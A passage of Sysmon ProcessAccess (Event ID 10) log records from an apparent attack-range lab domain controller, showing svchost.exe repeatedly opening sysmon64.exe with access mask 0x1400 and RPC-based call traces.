C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.308","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.308\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 